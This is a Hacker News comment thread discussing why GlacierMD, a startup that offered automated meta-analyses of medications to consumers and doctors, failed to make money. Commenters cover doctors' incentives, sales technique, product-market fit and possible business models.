You're making a similar mistake to OP. You're considering the end user, the pharmacy, but are now ignoring manufacturers, suppliers and wholesalers. Why would a major supplier provide their goods to a pharmacy who ranks them last in their kiosks? Why wouldn't they give preferential pricing to pharmacists that give better rankings?

Perhaps large chain pharmacists have buying power here, but they don't need help attracting customers. Perhaps small pharmacists could benefit from this system to attract customers, but if the system ranks Pfizer products last they wont be in business for long.

Point is, perhaps you want it, and perhaps you think pharmacists should want it for you, but the entire supply chain does not want it.

dugmartin(10000) 5 days ago [-]

My million dollar medicine idea: print the dosage info in huge type on the bottle (e.g. 'Take 2 every 8 hours') with more detailed info in smaller type on the back side of a peel away label.

The only time I use headache medicine is when I have a headache and that is the exact time I don't want to be trying to read a huge block of 6 point type to see how many I should take. (A couple of times in the past I've written the dosage in Sharpie on the piece of masking tape that I wrap around the bottle but I'd rather it was done for me as I'm lazy)

nickjj(10000) 5 days ago [-]

That was a fun read. I wish the author mentioned how much he was trying to sell the service for. It could have been $59 a month or $599 a month and with doctors you could potentially expect the same answer.

I'm not a psychologist but some of the author's quoted text came off extremely demeaning in written form. If the author happens to read this, did you really say those things directly to them?

For example, Susan (psychologist) was quoted as saying:

> 'Oh sure! I mean, I think in many cases I'll just prescribe what I normally do, since I'm comfortable with it. But you know it's possible that sometimes I'll prescribe something different, based on your metastudies.'

To which you replied:

> 'And that isn't worth something? Prescribing better treatments?'

Imagine walking into the office of someone who spent the last ~10 years at school and then potentially 20 years practicing their craft as a successful psychologist and then you waltz in and tell them what they prescribe is wrong and your automated treatment plan is better.

worldsayshi(10000) 5 days ago [-]

If you are to proud to visit stackoverflow or Google to search for best practices you're not a very good developer. Sounds like the same rule should apply to a doctor or psychiatrist.

Do they have such fragile egos that they can't have someone showing them the 'new Google for doctors' without feeling offended?

(Sorry if that came out a bit edgy. But this hole story irks me. It's frustrating when value can't be delivered because of cash flow issues.)

Falling3(10000) 5 days ago [-]

> you waltz in and tell them what they prescribe is wrong and your automated treatment plan is better.

That doesn't really capture the conversation though. Susan specifically said (as you quoted) that it was possible she would use the recommendations of the app. If she took a recommendation that means she agreed it was a better treatment. His question was not whether his algorithm was better than her default prescriptions - because they both agreed that was the case at least some of the time - it was whether it was better enough to be financially worthwhile.

cko(10000) 5 days ago [-]

It was indeed a fun read. As a pharmacist I had a similar 'idea' years ago and got two other pharmacists excited. We were sick of seeing prescribers not follow 'Evidence based medicine' and thought maybe something that took Cochrane Meta Analyses and UpToDate info in a nice interface would be amazing.

> I started babbling about network meta-analyses, statistical power, and p-values, but he cut me off.

> 'Yeah okay that's great but nobody cares about this math crap. You need doctors.'

So true. As an insider in healthcare I would probably have disregarded this for idealism.

yunohn(10000) 5 days ago [-]

You'd be surprised how many doctors neglect the state of the art in medicine... That's also why second opinions are a thing. Medicine is a science and hence, an ever changing field.

johnisgood(10000) 5 days ago [-]

Note: psychologists cannot prescribe anything here (Eastern Europe), psychiatrists can.

I do not see any issues telling doctors that they are prescribing the wrong medication because you may know it better than them. I personally learnt a lot about pharmacology due to my illness, and I know what kind of medications are should not be supposed to be prescribed which the doctor working at the ER at that moment may not. In any case, you could just point out the reasons, I believe.

For example: highly lipophilic beta-blockers are an issue in my case as I get anxious over its CNS side-effects that others may take it for performance anxiety, see: propranolol. The doctor prescribing me propranolol would be in the wrong. My own psychiatrist had no clue that lipophilic beta-blockers can cause all sorts of issues (CNS side-effects, such as brain fog) that lead to anxiety and even panic attacks for me. In my case, something like atenolol or even nebivolol would have worked better. Some doctors know this, some do not. I do not reasonably expect them to know everything though. It is sort of a detail that is not known because it is commonly prescribed to the elderly who do not report those CNS side-effects because they attribute them to their old age.

There were cases of metoprolol causing hallucinations[1]. The old person attributed it to having some kind of a super power of seeing the dead because their heart stopped for a few seconds and they were 'dead'. I am not sure if this is the article I posted, but there was such a case.

People who research their own specific illness may know better than some doctors, really.

Sorry if I was a tad off-topic.

[1] https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3295654/

serjester(10000) 5 days ago [-]

His writing style seems similar to Hunter Thompson's - I wouldn't read into it too deeply, exaggeration is the backbone. Personally I enjoy it.

As for the actual content, there's a massive difference between customers dying to use your product and them telling you it'd be "neat". People don't buy "neat" products. This is why you talk money to them as soon as possible. No real surprise it didn't work out for him, the incentives just aren't there.

He could have prevented all this by reading the Mom Test - oh well, experience is the best teacher anyways.

Gatsky(10000) 5 days ago [-]

This article was posted before several years ago. The whole premise is bumptious - 'I can copy data out of a bunch of papers [which I am in no position to screen for quality or relevance], run a canned 'gold standard' analysis in R [the idea that there is one true way to generate valid data is ridiculous], and then go tell the professionals what they are doing wrong.' He even brags that his meta-analysis for depression had more papers than the published one, as if this was a valid metric. The Cipriani meta-analysis he cites was publised in February 2018. His meta-analysis was done in July 2018, and had 324 more papers - what explains this difference, other than obviously sloppy methodology. A proper meta-analysis is a lot of work, researchers spend years on one meta-analysis. The whole concept is ill conceived, and the author is too caught up in themselves to even realise why.

Meta-analyses are a good idea, but the mere presence of a meta-analysis does not denote a useful undertaking. The literature is polluted with thousands of meta-analyses. As far as I can see this is mainly because there is software available which lets almost anyone do it, and once someone else has done a meta-analysis it is much easier to do another one because they have already found all the papers for you. The publication rate of meta-analyses far outstrips the publication rate of all papers, and shows some unusual geographic variation (Fig 2) [1].

[1] https://systematicreviewsjournal.biomedcentral.com/articles/...

stevewodil(10000) 5 days ago [-]

It's actually a very good sales question, I don't find it demeaning at all.

If you're on a sales call selling a product that increases user retention and someone says 'no we don't need that', you would often reply with 'So you have perfect user retention then?' to probe them and re-open the conversation.

It could come off as standoffish but when used correctly it's very effective because it gets the person on the other end to open up more and you try to get to the bottom of their objections.

Aeolun(10000) 5 days ago [-]

Just because someone spends 30 years learning something does not mean they learned the right thing.

wolco5(10000) 5 days ago [-]

And you back it up with proof but you hear I don't care about better treatment I care about prescribing what I feel works best and what pays best. Science be damned.

There in a nutshell is the problem with healthcare. Doctors care about different outcomes. Doctors have this image that they care about your best health outcome but they would always trade an extra dollar over any patient outcome as long as they are legally within guidelines.

As a developer. I went to school for a period of time. I have had a 20 year career of sucessful development jobs/projects.

If someone walked in without any experience but showed me a better way to develop a project through understandable datapoints I would listen and not ignore them because I was somehow all knowing. I may even buy. Why are Doctors different?

GordonS(10000) 5 days ago [-]

> I'll just prescribe what I normally do, since I'm comfortable with it

This is actually something that drives me absolutely nuts about doctors in the UK (I presume they are the same elsewhere) - inertia.

It's like doctors leave medical school with 'best practices' about what they should prescribe - like they are glorified, human decision trees - and then across their 40-year career, they never read a paper, never read any new guidance, and general never change.

Inertia seems to be a particular problem in the NHS, where doctors have a set list they are willing to prescribe. Why? Because it's what they've prescribed previously, so they are 'comfortable' with it. You can see there is a bit of a 'chicken and egg problem' with other medications.

james1071(10000) 5 days ago [-]

He had not the slightest idea of how doctors prescribe drugs.

The typical doctor has minimal training in evaluating medicines - that is not their job.

They defer to so-called opinion-leaders, who are the experts on particular diseases.

These people are the targets of drug companies' marketing - think scientific conferences in 5 star hotels in exotic locations.

The cost of influencing them would be millions.

So,the author was barking up the wrong tree.

That's not to say that he didn't have something, but had no idea how to market it.

webel0(10000) 5 days ago [-]

> Imagine walking into the office of someone who spent the last ~10 years at school and then potentially 20 years practicing their craft as a successful psychologist and then you waltz in and tell them what they prescribe is wrong and your automated treatment plan is better.

As I understand it, this is exactly what new pharmaceutical sales reps are asked to do?

dan-robertson(10000) 5 days ago [-]

The conversations are surely paraphrased and exaggerated—just look at the style of the rest of the article.

The position that doctors should be trying new things to improve their care sounds good but in practice most doctors are strongly biased towards the status quo and usually inaction is preferred to a slightly unknown action, even if that action has better expectancy.

renewiltord(10000) 5 days ago [-]

Based on the response he got, it was the right question, actually. People aren't Internet-style insecure in real-life, especially those who have high social cred (like doctors). Even accounting for the humorous exaggeration, the kind of question asked from a professional doctor is less likely to cause them to be offended and more likely for them to just tell you why not. They're not going to be 'How dare you question my decades of experience?!'. They'll answer like they did in the OP.

In The Mom Test, he suggests getting right to the core of a customer's pain points. This is just corollary to that.

brd(10000) 5 days ago [-]

Amusingly enough, I've got a document that's essentially a list of ideas where the business model is spurious at best and on that list is a solution almost identical to what was built here.

I appreciate that someone took the dive and then shared the process, pain and failure of seeing it through to its conclusion. The only thing missing is the attempt to raise VC money to scale it to some sort of expert system you can sell to enterprise customers.

worldsayshi(10000) 5 days ago [-]

Turning the product described in the article into an enterprise product sounds like nonsense to me. The product should arrive to the user that benefits the most. Isn't that people in general?

dkarl(10000) 5 days ago [-]

I'm kind of concerned that people read this as satire but miss the most important part, namely the absence of concern about the safety and validity of the results. You know, the part where he stuck some statistical software in front of a database populated by a 'motley crew' of contractors and wanted doctors to use it as a shortcut for making patient care decisions. The part where he implicitly compares the HTML spit out by his system to peer-reviewed work by professional researchers. The part where he is proud of 'beating' a 'record' for least discriminating meta-analysis.

Reading this story and talking about his marketing and product development process feels like watching Lovecraft Country and then then only talking about the time travel physics of it. There's something real and awful here, hopefully presented in a fictionalized or highly exaggerated form. The people in my social circles who mistrust tech and despise startup culture -- this is exactly how they see us.

xiphias2(10000) 5 days ago [-]

You are on point. For common diseases there are guidelines manually created and periodically updated by 40 doctors. Doctors should just use the last updated protocol for easy decisions.

Even though for headache this is the recommended first line medication:

Ibuprofen 400 mg, ASA 1000 mg, naproxen sodium 500–550 mg, acetaminophen 1000 mg

https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4541429/#!po=0....

fastball(10000) 5 days ago [-]

But... this is peer-reviewed work by professional researchers[1]. He just tabulated them / made them searchable.

[1] Given the reproducibility crisis, I'm not sure we should trust these much either, but that's a discussion for another time.

zmmmmm(10000) 5 days ago [-]

Yeah ... I was actually thinking he may have dodged a bullet because if he got any further with this he could have gotten on the end of a law suit or getting shutdown and / or fined by the FDA if things went the wrong way.

dsign(10000) 5 days ago [-]

I'm kind of concerned that our gold standard in medical practice is 'this needs to work for everybody'. We should really be more intent on doing personalized medicine.

AzzieElbab(10000) 5 days ago [-]

Hey MS, Google, Amazon, Oracle, and countless others invested billions into health-it and made no observable impact. 40k for one of the most popular pharmaceutical site really is a wonder to behold, sorry about the 40k

ayewo(10000) 5 days ago [-]

I'm guessing that several of these attempts do not properly account for the negative externalities that are peculiar to the health industry.

Apple is taking a much much different approach in how they hope to gain a foothold in the health industry, starting with HealthKit and slowly chipping away at the problem with the Apple Watch getting FDA and related certifications.

Tim Cook is on record saying that if Apple is to be remembered for something with a lasting impact, it would be in health [0].

Unlike their peers, Apple's strategy in health is anchored on a very very long-term horizon. Would be interesting to see how their strategy unfolds. Fingers crossed.

0: https://www.cnbc.com/2019/01/08/tim-cook-teases-new-apple-se...

analyte123(10000) 5 days ago [-]

It sounds like GlacierMD not only presented results from meta-analyses, they made a platform to make them easier to do and did their own but didn't publish them. If you built a platform to make doing meta-analysis easier, you could collaborate with medical researchers and institutions who are publishing meta-analyses. Maybe give it to them for free at first, maybe get an author credit, some PR, and more sales leads. Researchers can probably use grant money to buy access to your platform and still save money on paying analysts to do things manually.

LurkerAtTheGate(10000) 5 days ago [-]

Precisely what I was thinking - a tool to analyze medical studies, compare, and provide easily digestible results is a tool for pharma, not providers.

aetherspawn(10000) 5 days ago [-]

Perhaps this would have been a great business model to start astroturfing big pharma by focusing on SEO, allowing users to upvote meds that worked well for them and letting big pharma pay to bump theirs to the top or highlight it or something like that. Or for a given class of med, charge big pharma or individual chemists a certain amount for referral back links.

As a consumer your flow is probably naturally: what type? which brand? where is cheapest in my area?

There are plenty of energy comparison companies making money that way. They have a lot less tangible data.

I'll be honest - the tech is so cool you nearly made me want to reach out and buy where you got upto. 'Nearly' is code for, yes I'd be interested, but I don't have enough $$ to make you interested vs the work required to build a profitable model.

david_allison(10000) 5 days ago [-]

SEO on medical topics without expert backing is a notoriously uphill battle as Google can arbitrarily apply heavy penalties to the search results.

> We have very high Page Quality rating standards for YMYL [Your Money or Your Life] pages because low quality YMYL pages could potentially negatively impact a person's ... health

> The Lowest rating must be used for any of the following types of content on pages that could appear to be informational:

> * YMYL content that contradicts well-established expert consensus.

> There is no evidence that the author has medical expertise. Because this is a YMYL medical article, lacking expertise is a reason for a Low rating

Source[0] is 175 pages. Grep for 'medical' or 'YMYL' for more details.

[0]: Google Quality Rater Guidelines https://static.googleusercontent.com/media/guidelines.raterh...

Luvnit(10000) 5 days ago [-]

You say " So I built something people wanted. Consumers wanted it, doctors wanted it, I wanted it. Where did I go wrong?"

The fact that the people giving you the money I.e doctors / hospitals didn't want to pay for your product proves you built something no one wanted. Wanted enough that they were willing to pay you money for it. Or go out of the way to find the budget for it.

Aperocky(10000) 5 days ago [-]

Nah, everyone wanted it, but for free.

I think the only thing that went wrong is the budgeting, OP might have made it had he dumbed it down a little and made it 100x more simple (on the backend).

iandanforth(10000) 5 days ago [-]

Or the incentive systems in the US are completely screwed up when it comes to healthcare.

madamelic(10000) 5 days ago [-]

The current ideology of needing to go big fast kills a lot of decent ideas.

Everyone thinks there are two modes for a service: dead or worth $1B+.

Not to like bash you while you are down but you may have been able to do this while working and not spending $40k on contractors.

Not everyone needs to raise $10M, get a flashy office, employ 200 people and have all of the trappings of a 'successful' startup founder; if anything, that's antithetical to what you should be doing.

No MVP, no testing their model, just straight to 'Next Best Thing'. It definitely hurts, I've been there too for my first 'next big thing' and I doubt you'll be the last to get burnt by the image VC firms sell.

chadash(10000) 5 days ago [-]

$40K is not much to put into a business. You'd likely be putting down more than that just to open a convenience store.

Sure you need to spend a lot of money to grow a $1B+ business, but the same is true for a $100M business or a $10M business and even most $1M businesses.

coldtea(10000) 5 days ago [-]

>Make something people want. It's Y-Combinator's motto and a maxim of aspiring internet entrepreneurs. The idea is that if you build something truly awesome, you'll figure out a way to make some money off of it. So I built something people wanted. Consumers wanted it, doctors wanted it, I wanted it. Where did I go wrong?

I'm not sure he still gets it. He didn't built something people want (even less so want enough to pay for).

He built something he merely thought people should want. In the end, people didn't really want it.

breakyerself(10000) 5 days ago [-]

If it had succeeded and was ad based I'm certain I would have used it occasionally assuming I knew about it.

splendidHaiku(10000) 5 days ago [-]

Does not always work like that. Did people „want" cars when there were only horses. Or Facebook when there was just email. Sometimes you build something and only after people realise that they want built thing.

aladoc99(10000) 5 days ago [-]

I have to say, this sounds to me like trying to market an expert system for experienced woodworkers to choose the best chisel for a particular task based on the type of wood, size of the cut, etc. Practitioners have strong opinions regarding the implements they use; they use them in concert with other implements and modalities; and the small differences that may emerge from this kind of analysis are likely to be swallowed up by differences in copay or other things besides pure efficacy.

danaliv(10000) 5 days ago [-]

I was reading this as a licensed professional in a different field, and trying to imagine someone without my licensure trying to sell me an app that made my decisions for me. Let's just say this was always going to be a tough sell, no matter how good the economics looked.

sneak(10000) 5 days ago [-]

I think that people are probably misleading themselves if they say they want it, but aren't willing to pay for it.

People fork over money for IAPs by the millions per minute, because they want the results.

I think if it were truly that desirable, people would have been happy to pay for it. I just don't think it provided that much value to the customer.

notahacker(10000) 5 days ago [-]

Mostly they're being polite (and showing they understand perfectly well how they could use it, so no need to explain its purpose any further thanks). They're not really misleading themselves...

Ultimately the author's problem is that he was showing Susan a clever project that looked much more attractive than notes she'd usually consult rather than asking her how many times a year she wasn't sure what to prescribe and how difficult it actually was for her to get a sound recommendation from a source she trusted.

Even if he was trying to demo a finished product rather than figuring out if it should exist, asking those questions would still have been more likely to put her in the frame of mind where she asks about or spots the really difficult to ascertain info that has professional liability repercussions rather than just liking the UI and being impressed that this programmer is citing the Hamilton Rating Scale for depression)

jokethrowaway(10000) 5 days ago [-]

This was a great read!

Doctors definitely don't need your product, as they pointed out.

But consumers do!

I think you should have sold to consumers.

Having three doctors in my close family, I often found that whatever the tired doctor at the hospital is recommending is in contrast with what a doctor who care about my health (and is willing to look on their proprietary platforms) is recommending. That's why you ask different private doctors' opinions when things matter.

I found myself googling studies on what's the better treatment for $x and I would pay for better-than-a-doctor-advice backed by actual studies.

I think the problem, in your situation, is the scale of the operation.

If you want to do B2C, you often need investments and you can expect to become profitable in a few years.

Either find some funding or fix your cashflow.

gremlinsinc(10000) 4 days ago [-]

I think the data could be beneficial to software vendors, maybe create open source dev kits, so they can pull in raw data or graphs.

Then doctors get the product without having to sell to doctors. they are less tech savvy than a software vendor, and they also don't want more tools to have to use technology wise.

hathawsh(10000) 5 days ago [-]

That was my reaction too. It seems like GlacierMD might have been successful if it had focused on SEO. Whenever someone types 'what is the best headache medicine', GlacierMD should have been at the top of the results. The landing page would show the results of the studies for free, but would also let the user sign up so they can enter allergy and preference info and customize the results to them. Nearby doctors would advertise on the site.

So, in essence, before spending any money, I would go out and interview doctors to see if they're willing to pay for a channel of new customers. I would also try to gauge how many customers would be willing to sign up and enter their info so local doctors could advertise to them. And, of course, I would check with a lawyer to ensure I'm not bumping into HIPAA.

yudlejoza(10000) 5 days ago [-]

The same url was discussed Jan of last year:

https://news.ycombinator.com/item?id=21947551

Why does the blog-post date say 'October 18, 2020'?

ic4l(10000) 5 days ago [-]

very odd, here is the original when it was published

https://web.archive.org/web/20200103170008/https://tjcx.me/p...

fourseventy(10000) 5 days ago [-]

This is the classic case of building a product that you hope will solve a problem instead of finding a problem first then building a product to solve it. The correct approach would have been to have those conversations with doctors before spending $40k to build the product.

I've made this very mistake myself but I was lucky enough to have enough runway to start over and talk to customers first then pivot the product to something that they actually need.

I call this the 'I have an idea for a startup!' issue. You hear it all the time from family/friends. Where they tell you this great idea for a product they had. This is the wrong approach. What you want to say is something like 'There is this really interesting problem that everyone in ecommerce is facing right now'

fra(10000) 5 days ago [-]

The most important lesson in startups: sell it, then build it. Engineers have a bias for building, and tend to do it backwards.

ummonk(10000) 5 days ago [-]

Uh no. He had a problem - how to choose a medicine - and built a product to solve that problem. The issue was that solving the problem isn't something people wish to pay for, not that the problem doesn't exist.

skybrian(10000) 5 days ago [-]

To be fair, when he started he didn't know he wanted to talk to doctors. That was after a pivot.

Also, $40k is downright cheap compared to most failed projects to improve medicine. If it were someone else's money, that is.

a-dub(10000) 5 days ago [-]

> 'Hmmmm,' she said, picking at her fingernails. 'Not directly. Of course I always have the best interests of my patients in mind, but, you know, it's not like they'll pay more if I prescribe Lexapro instead of Zoloft. They won't come back more often or refer more friends. So I'd sorta just be, like, donating this money if I paid you for this thing, right?'

this is the problem. the incentives in healthcare are messed up. doctors are paid for their time, not for their outcomes. if a patient comes in and is prescribed a therapy, and they don't have to come back, the doctor should receive more than if the patient returns because the therapy had an issue.

inopinatus(10000) 5 days ago [-]

If you paid doctors by individual outcome then the incentives would be even more messed up, since no-one would want the tough or ambiguous cases.

This is opposite of the desired outcome, which is that the best doctors see the hardest cases.

Always pay professionals for their time. Patients are not widgets.

thehappypm(10000) 4 days ago [-]

Between the lines, the real doctor perspective here is 'Medicine A, which I have been seeing success with for decades, is (according to this site) less effective than Medicine B. I really trust Medicine A, so I don't think this is enough of a nudge to make me change my mind necessarily.'

GordonS(10000) 5 days ago [-]

I was horrified when I read that line too. I have this crazy idea that most doctors go into the medical profession because they want to help people - her attitude is awful, IMO.

vasco(10000) 5 days ago [-]

Maybe we should also pay programmers based on outcome then, and you get less if your % of bugs is higher than the team average, sounds like a great idea, eh? Maybe a day without pay if you bring down the live service? I'm pretty sure this wouldn't work. The first place to put it in place, be it a hospital or a tech company, would just have most people quit. Sometimes things are hard and people need to know the business has got their backs as long as they try their best. Reducing pay on bad outcomes is institutional blame culture on overdrive.

igammarays(10000) 5 days ago [-]

Fantastic idea? This is AI snake-oil. If this guy literally thought he could build an auto-meta-analyses that could magically prescribe the right OTC to fix your pain based on a few button clicks, he's trying to play God.

aejnsn(10000) 5 days ago [-]

It's another one of the AI use cases where the problem is built around a solution.

gault8121(10000) 5 days ago [-]

This article's thesis seems to be that medical professionals are not incentized to provide the best interventions, and as a result, wouldn't pay for this service. However, what the author fails to mention is the competitors in this space that are successful, such as Up To Date, which provides really high-quality research trial data: https://www.uptodate.com/home

Rather than building a product that informs medical professionals about effective interventions, I wonder if the creator would have had more success if he deeply explored what sources of information these medical professionals pay for now - do they pay for anything at all, such as UpToDate, and don't want to pay this because it's an additional expense? If the creator found which sources people are using, the creator could sell this database as a feature for these partners and widely disseminate this data through partner channels rather than creating a competing source of information. It seems to be a case of this being a good instance of a B2B2C model, where selling this service to other businesses that sell directly to medical professionals could be more viable than trying to sell directly to them.

Alternatively, if the creator wanted to sell to patients, rather than medical professionals, the blueprint here is all of the consumer reports companies, such as Wirecutter, which is one of the New York Times's most popular services. Here, again, a 'Wirecutter for medical interventions' could be quite successful, and you could sell this service to media companies that provide consumer reports as a service that would bolster these companies.

It's bad the creator wasn't able to find traction, as getting more medical data into the hands of consumers could have a huge postive impact over time.

dr_(10000) 5 days ago [-]

A hospital system is incentivized in some ways to get people discharged as soon as possible and ideally with a good outcome. A service like UpToDate is one of the tools that may facilitate that by providing valuable clinical pearls to facilitate decision making. So it's not surprising that UpToDate is largely paid for by large institutions and academic medical centers, and not as much by individual medical providers.

gzer0(10000) 5 days ago [-]

https://opensourcemed.com

It's a crudely built version of UpToDate from 2018 as it was on April 2018. Useful for 98% of the population still.

Edit: definitely works better on mobile, and the search needs to be fixed.. this isn't my website but a resource that I've been passed down/told about by medical students.

repeek(10000) 5 days ago [-]

I don't think he had the correct buyer either. While medical professionals may be the user, for this type of service you need to be selling into hospitals or health systems. They have the incentive for their providers, collectively, to improve the quality of care.

I doubt UpToDate makes their bones off individual subscriptions. The real money to keep a company afloat is from b2b enterprise contracts.

foxylad(10000) 5 days ago [-]

Competition analysis should be number one on the 'Before You Write A Line Of Code' list. As the author has found, the value proposition is also important, but looking at competitors offerings will often inform that too.

viraptor(10000) 5 days ago [-]

There are also services in non-us countries like 'How to treat' https://www.ausdoc.com.au/howtotreat Which are relatively popular and used by doctors. Although it's already edited rather than raw data.

jarym(10000) 5 days ago [-]

Maybe its just me but I would have approached drug companies to partner with their marketing teams. THAT would have been something worth paying for TO THEM.

yaboy(10000) 5 days ago [-]

Never approach marketing teams unless you're Theranos sized courting Walgreens.

Corporate marketers hate risk. It's a great way to lose your cushy job. What I have seen happen is that they embrace innovation, parade you around their offices and never close on a deal.

I saw this happen. The founder of BuyYourFriendADrink was the doyenne of Diageo's hallways but after burning six months of runway no revenue producing contract was inked. Some corporate politicians simply exist to take meetings.

_0o6v(10000) 5 days ago [-]

> Make something people want

That's a charity.

> Make something people want __and will pay you for__

That's a business.

You learnt the hard way.

drran(10000) 5 days ago [-]

> Make something people want __and stuff it with ads__

That's a business.

PeterisP(10000) 5 days ago [-]

IMHO 'Make something people want' implies that people will want to pay you for it[1]. If people want it, they'll come asking you to take their money - if their response is 'meh, I'd try it for free' then I'd argue it's misleading to tell that they want it, the most you could say is that they are interested. I mean, he demoed this stuff to people and none of them seemed to say 'wait, can you give me access to this right now? Pretty please, I'll be your pilot test user, but I want to have this?' - I can't see any evidence that would justify the author claims 'Consumers wanted it, doctors wanted it'. The doctors called it 'What a fun project!', the doctors called it 'useful', but none of them wanted it the way they might want a cup of coffee i.e. being willing to give something at all to get the thing they want.

[1] the other limitation is whether they can afford to pay you despite wanting it; there are products/markets where the target audience is eager to pay but their collective budget is too small for the scale you need.

pramsey(10000) 5 days ago [-]

It felt like there was a missing chapter!

Consumers don't see the value at all.

Doctors see the value, but won't pay for it, because it doesn't change their bottom line.

Whose bottom line does this change then?

HMOs, insurance companies, organizations that want to improve the health of a population in aggregate. They'd pay money to have healthier people (on average) to provide the service to their docs (who see the value) to use for free.

Well, maybe; but I was hoping to see that theory validated in the last turn of the wheel.

yoz-y(10000) 5 days ago [-]

Insurance companies are the real target here. If they can potentially manage to get doctors to prescribe more efficient medication, then they will end up needing to reimburse less and improve their bottom line.

ddevault(10000) 5 days ago [-]

This is a case-study in how capitalism fails. It is not a system that maximizes efficiency. Here we have a product which materially improves peoples lives and health, which fails because no one is incentivized to pay for it. If we had a nationalized system it would be a no-brainer for the government to pick up the bill.

Capitalism sucks in general terms, but healthcare and capitalism is an awful, evil combination.

ska(10000) 5 days ago [-]

> Here we have a product which materially improves peoples lives and health

Assumes facts not in evidence, I'm afraid.

Seriously, people who have been working on evidence based medicine for decades at this point have been struggling with the fact that what he describes as easy 'slurp up a bunch of trials data, do the analysis' is actually pretty hard to get right, for a bunch of reasons.

laser(10000) 5 days ago [-]

"Doppelganger has created value for the customer but not for the company."

Tell that to "Celebs", which's sole app function is the described and makes ~$200K MRR.

twobitshifter(10000) 5 days ago [-]

That's shocking to me. They have subscriptions? Why is someone subscribing to an app like this?

Looked at things on the App Store. It's not clear what a subscription gets you but they're charging $4.99 a week for the premium features.

rdiddly(10000) 5 days ago [-]

Yeah, I was going to chime in and say 'I bet Doppelganger would make more money than GlacierMD.' Cynical content warning: Precisely because it's not geared toward helping others, which no one gives a shit about, and is all about your photo of yourself which everybody obsesses over.

SMAAART(10000) 5 days ago [-]

> Make something people want. It's Y-Combinator's motto and a maxim of aspiring internet entrepreneurs. The idea is that if you build something truly awesome, you'll figure out a way to make some money off of it.

> So I built something people wanted. Consumers wanted it, doctors wanted it, I wanted it. Where did I go wrong?

There's a HIUUUGE difference between what people say they'll do and what they will actually do.

stevenkkim(10000) 5 days ago [-]

Yes. There's also a huge difference between what people want and what they are actually willing to pay for. I bet many of the people interviewd by the author would have be happy to use the product on occasion if it had been free.

rel2thr(10000) 5 days ago [-]

I like your idea, but I'm confused why you didn't try the webmd competitor route.. 50c/user that webmd makes is pretty good really , with good SEO + content marketing you could scale to enough users to make things interesting

sixQuarks(10000) 5 days ago [-]

Exactly. This was the right path in this case. The value is for the consumer, if he could attract just 100K visitors per month, that's $500,000/year.

Not only that, he would have a highly targeted group of users that he could tailor all kinds of products and services to.

extrememacaroni(10000) 5 days ago [-]

This reminds me of an idea I had days ago of using an AI to tell poisonous mushrooms from edible ones apart, from photos.

Then I realized I don't want to be responsible for anyone's death.

syntaxing(10000) 5 days ago [-]

What if you limited the range from I don't know if it's poisonous to X% likely poisonous vs is/is not poisonous?

frompdx(10000) 5 days ago [-]

Definitely a neat idea, but how would this work? Most identification starts with a spore print. What if instead of an AI to identify mushrooms it was software that used a classification system like what is described in 'Mushrooms Demystified'.

Edit: Should clarify most reading I have done on mushroom ID involves taking spore prints as an essential step but it's not always the rule.

harry8(10000) 5 days ago [-]

Isn't the volume so low on that and the latency requirements so undemanding that ML is overkill to get the answer as well as the accuracy issues with false positive for 'not deadly' being somewhat asymmetric?

I still think of ML as having a niche of 'mostly right is ok' and useful for very, very large volume otherwise one or more people does better for less. That may change in time. Self driving cars are very close now they say, but i suppose we've been hearing that for a few years without getting there.

nightsd01(10000) 5 days ago [-]

Already exists, I heard about it on NPR the other day (perhaps the idea got implanted into your subconscious) https://mushroomai.ml/#mushroomai

Const-me(10000) 5 days ago [-]

I don't believe modern state of AI is good enough for the job. At least not yet.

A human expert might look at your photo and instead of saying "you may / should not eat that" start asking questions, about local ecosystem, climate and weather. Or they might ask you to shoot more photos, e.g. bottom of the cap or microscopic photo of spores.

I'm not an expert in AI but based on what I know they aren't smart enough for that, at least not yet.

klyrs(10000) 5 days ago [-]

Yikes! Some species require microscopes to differentiate. Thanks for not making that app!

john_minsk(10000) 5 days ago [-]

I didn't get it. He starts as if this is b2c kind of business, but then shows screenshots with service aimed at drug researchers.

If it is b2c: make an app for the phone.

Screen1: human body, where you can choose places where you feel unrest.

Screen2: describe what is wrong

Screen3: 'based on your answers and your geolocation you can get these 3 remedies which are safe' or if something extreme is going on 'please see the doctor, in the mean time you can use aspirin to relieve your pain'

*I usually call mom when I have headache, temperature or diarrhea cause I constantly forget which one should I take. I'm 30:-( I would use such app for these hints. For anything more serious I would go to doctor and wouldn't self medicate.

Monetization(Hard): Subscription for extra features like tracking of drug dosages and keeping track of your home stock. Would probably be beneficial to someone who takes a lot of drugs all the time.

Monetization2(Medium hard): deals with local pharmacies to be able to provide recommendations where to buy a specific drug advised by the app.

Based on screenshots what he built is b2b app for doctors?

john_minsk(10000) 5 days ago [-]

one more thing 5 minutes later: I was travelling a lot past 4 years and would be great:

Buy international insurance within an app and have a list of local hospitals I can go to

Be able to 'download' integration with local pharmacies like it was with maps.me These can be sold. If I'm in India and got Delhi Belly I would pay 2-5 USD to find nearest pharmacy/hospital or order drugs to my hotel

raverbashing(10000) 5 days ago [-]

I think this was posted already (a couple of years? ago)

Anyway, yeah, it wasn't a good value proposition (and is it just me or GlacierMD is a bad name for this)?

Because in the end, it doesn't matter much if you don't get 'the absolutely best choice of drug'. If it solves your problem great, if not, doctors can exchange it, but that's when the drug or dosage is bad, not 'not great'.

jaywalk(10000) 5 days ago [-]

From Glacier, it's a very short mental route to Titanic. So, yeah I'd say naming your product that brings up thoughts of the Titanic is not great.

stevewodil(10000) 5 days ago [-]

I would definitely look at antidepressants on GlacierMD, because I think I want to take one but the options and side effects are all over the place

yawnxyz(10000) 5 days ago [-]

yeah if it was something like 'we can recommend a cheaper drug' then there might be an incentive... but also that's not how drugs are even priced. The healthcare world is such a mess. Charging doctor's offices for SaaS is very very tricky.

tptacek(10000) 5 days ago [-]

It's been mentioned a couple times on the thread but I'll third it: this post succinctly captures the problem statement of _The Mom Test_, which is a short book about how to structure your product/market fit work to cut the crap and lock in on a product that people will actually pay money for. It's good, more people should read it.

ronyfadel(10000) 5 days ago [-]

Seconded. Do not start a company before running it through the Mom Test.

jitix(10000) 5 days ago [-]

I think it's a great idea but looking at the product I'd say that the value proposition isn't enough for anyone to buy a subscription. Maybe an ad supported website (like WebMD) that licensed professionals could check to validate their own assertions.

Also '$0.50/year per user' is actually a great amount if the site was made for a global audience.

And as an AWS cloud engineer I'm actually curious at the AWS cost breakdown. If done properly this kind of data processing and site hosting costs would be trivial.

jeanlucas(10000) 5 days ago [-]

